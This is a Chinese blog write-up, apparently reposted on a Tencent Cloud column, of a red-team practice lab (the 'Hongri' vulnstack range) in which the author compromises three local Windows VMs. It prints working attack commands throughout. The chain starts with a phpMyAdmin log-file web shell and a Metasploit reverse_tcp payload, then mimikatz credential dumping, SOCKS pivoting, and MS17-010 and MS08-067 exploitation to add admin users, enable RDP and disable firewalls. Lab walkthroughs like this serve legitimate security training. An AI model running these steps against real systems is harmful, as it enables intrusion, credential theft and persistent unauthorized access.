前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ATT&CK实战系统-红队实战(一)

ATT&CK实战系统-红队实战(一)

作者头像
用户2700375
发布2023-01-30 15:08:49
6980
发布2023-01-30 15:08:49
举报
文章被收录于专栏:很菜的web狗很菜的web狗
image-20221226215840951
image-20221226215840951

很久之前放到收藏夹里的红日靶机,之前总想着汇总一下打一打,但是硬盘没有太大空间就没有去下载搭建(其实就是懒),最近写毕设的过程中无聊换换脑子来打一打。

靶场下载地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶机配置

靶机有三台。

Win7:内 192.168.52.143 外 192.168.31.245

Win Server 08:192.168.52.138

Win Server 03:192.168.52.141

本机Mac(攻击机):192.168.31.222

三台机器密码都是 hongrisec@2019

Win Server 08登陆以后强制要求修改密码

密码更改为 qwertyuiop123.

在win7上测试一下,能ping通Mac和Windows2003、Windows Server 2008

Mac无法ping通win7,因为win7开了防火墙,更无法ping通内网中的2003和2008;

开启win7的phpstudy,我们开始外网渗透。

img
img

外网渗透

nmap扫一下看看 win7开放了哪些端口。

img
img

直接访问80 发现是phpstudy探针

img
img

暴露了网站的绝对路径为C:/phpStudy/WWW

dirsearch扫描网站目录看看,这里用我自己扫描器试试。

image-20221226134312508
image-20221226134312508
image-20221226134348170
image-20221226134348170

扫到了phpmyadmin。

phpmyadmin是可以getshell的

phpmyadmin写shell

访问phpmyadmin 弱口令 root root登录之。

通过开启日志写shell,这里简单说一下。

代码语言:javascript
复制
show variables like 'general%';
代码语言:javascript
复制
set global general_log = "ON"; 
set global general_log_file='C:/phpStudy/WWW/shell.php';
代码语言:javascript
复制
SELECT '<?php eval($_POST["cmd"]);?>'

一句话写进去以后蚁剑链接看看

image-20221226135427199
image-20221226135427199

因为是phpstudy是Administrator。

可见是双网卡,还有一个内网网卡为

image-20221226135540852
image-20221226135540852

并且还有域存在。

image-20221226135650090
image-20221226135650090

反弹shell

接下来为了后续内网,准备上线到msf上。生成一个.exe上传到服务器并执行。

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.222 LPORT=4444 -f exe -o msf.exe

本机Mac进行监听

使用exploit/multi/handler模块开启msf监听;

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.222
set lport 4444
run
image-20221226141025085
image-20221226141025085

getuid查看当前会话权限

getsystem自动尝试提权

image-20221226141114256
image-20221226141114256

未开放3389端口

image-20221226141243393
image-20221226141243393

执行run post/windows/manage/enable_rdp开启3389端口

image-20221226141346607
image-20221226141346607

开启以后可连接。

image-20221226141750305
image-20221226141750305

密码抓取

首先msf加载mimikatz

load mimikatz

image-20221226142410492
image-20221226142410492
代码语言:javascript
复制
creds_msv    获取密码hash值
creds_kerberos    获取密码明文

成功抓取到了登陆密码。

内网渗透

Arp -a查看路由表

image-20221226144041891
image-20221226144041891

可见网段192.168.52.0/24,还有另外两台主机;

run autoroute -s 192.168.52.0/24添加录路由; run autoroute -p查看路由;

image-20221226144210836
image-20221226144210836

设置代理方便访问内网服务。

代码语言:javascript
复制
search socks
use auxiliary/server/socks_proxy
set srvhost 192.168.31.222
set srvport 1088
run
image-20221226145803083
image-20221226145803083

然后修改vim /usr/local/etc/proxychains.conf的最后一行为socks5 192.168.31.222 1088

测试一下能否顺利访问内网主机

image-20221226145840451
image-20221226145840451
image-20221226145907706
image-20221226145907706

接下来我们就扫一下另外两台主机

192.168.52.138

192.168.52.141

都开启了哪些端口

使用msf自带的 portscan

auxiliary/scanner/portscan/tcp模块;

代码语言:javascript
复制
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set threads 100
run

速度感觉。。有点慢

image-20221226153023108
image-20221226153023108

445和135端口,说明都有SMB服务

使用auxiliary/scanner/smb/smb_version扫描系统版本进行验证

判断系统版本为03

image-20221226153305899
image-20221226153305899

看到445难免想到经典的17010,来验证一下。

MS17-010

代码语言:javascript
复制
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
image-20221226153514567
image-20221226153514567

失败了。百度了一下可以换一个这个模块试试看

auxiliary/admin/smb/ms17_010_command模块执行命令;

代码语言:javascript
复制
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

发现此模块可行。

那就利用此模块我们添加一个管理员组的用户。并开启3389端口

代码语言:javascript
复制
set command net user pocsec zxcvbnm123. /add添加用户;
set command net localgroup administrators pocsec /add添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;

添加了无数次本机查看都没有成功,后来发现某大佬写的文章原来是

是因为有密码设置策略,密码不能太简单且不能包含用户名。

密码复杂一点就好了

或者直接exploit/windows/smb/ms17_010_psexec反弹一个shell过来。

MS08-067

我们用08067去打一下试试看

代码语言:javascript
复制
use exploit/windows/smb/ms08_067_netapi 
set rhosts 192.168.52.141
# 设置payload
set payload generic/shell_bind_tcp
# 设置自动类型
set target 0
run
image-20221226181128009
image-20221226181128009

至此这台03也被我们拿下。

image-20221226212114905
image-20221226212114905

接下来那台08 也是存在17010,来试试看

接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令; 因为开启了防火墙,我们先执行命令set command netsh firewall set opmode mode=disable关闭防火墙;

然后我们用这个模块exploit/windows/smb/ms17_010_psexec反弹一个shell过来

注意直接反弹不能成功,先用ms17_010_command执行关闭防火墙命令,在反弹则成功。

image-20221226213743567
image-20221226213743567

可见三台机器都已经被我们拿到了。

到此结束。

总结

nmap探测端口,获取80端口,dirsearch扫目录发现phpstudy探测界面和phpmyadmin。

弱口令进入phpmyadmin 经典的phpmyadmin日志写webshell。最后上线到msf提权。

后添加路由,查看路由表发现其他两台机器,内网用nmap(这里我上面吗没演示)实际上用nmap验证了一下,发现两台机器存在17010和08067最后使用这两个漏洞打下来这两台主机。

其实自己做的过程中没有用到域渗透的东西,等后续其他靶场多换换姿势学一下。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 靶场下载地址
  • 靶机配置
  • 外网渗透
    • phpmyadmin写shell
      • 反弹shell
        • 密码抓取
        • 内网渗透
          • MS17-010
            • MS08-067
            • 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档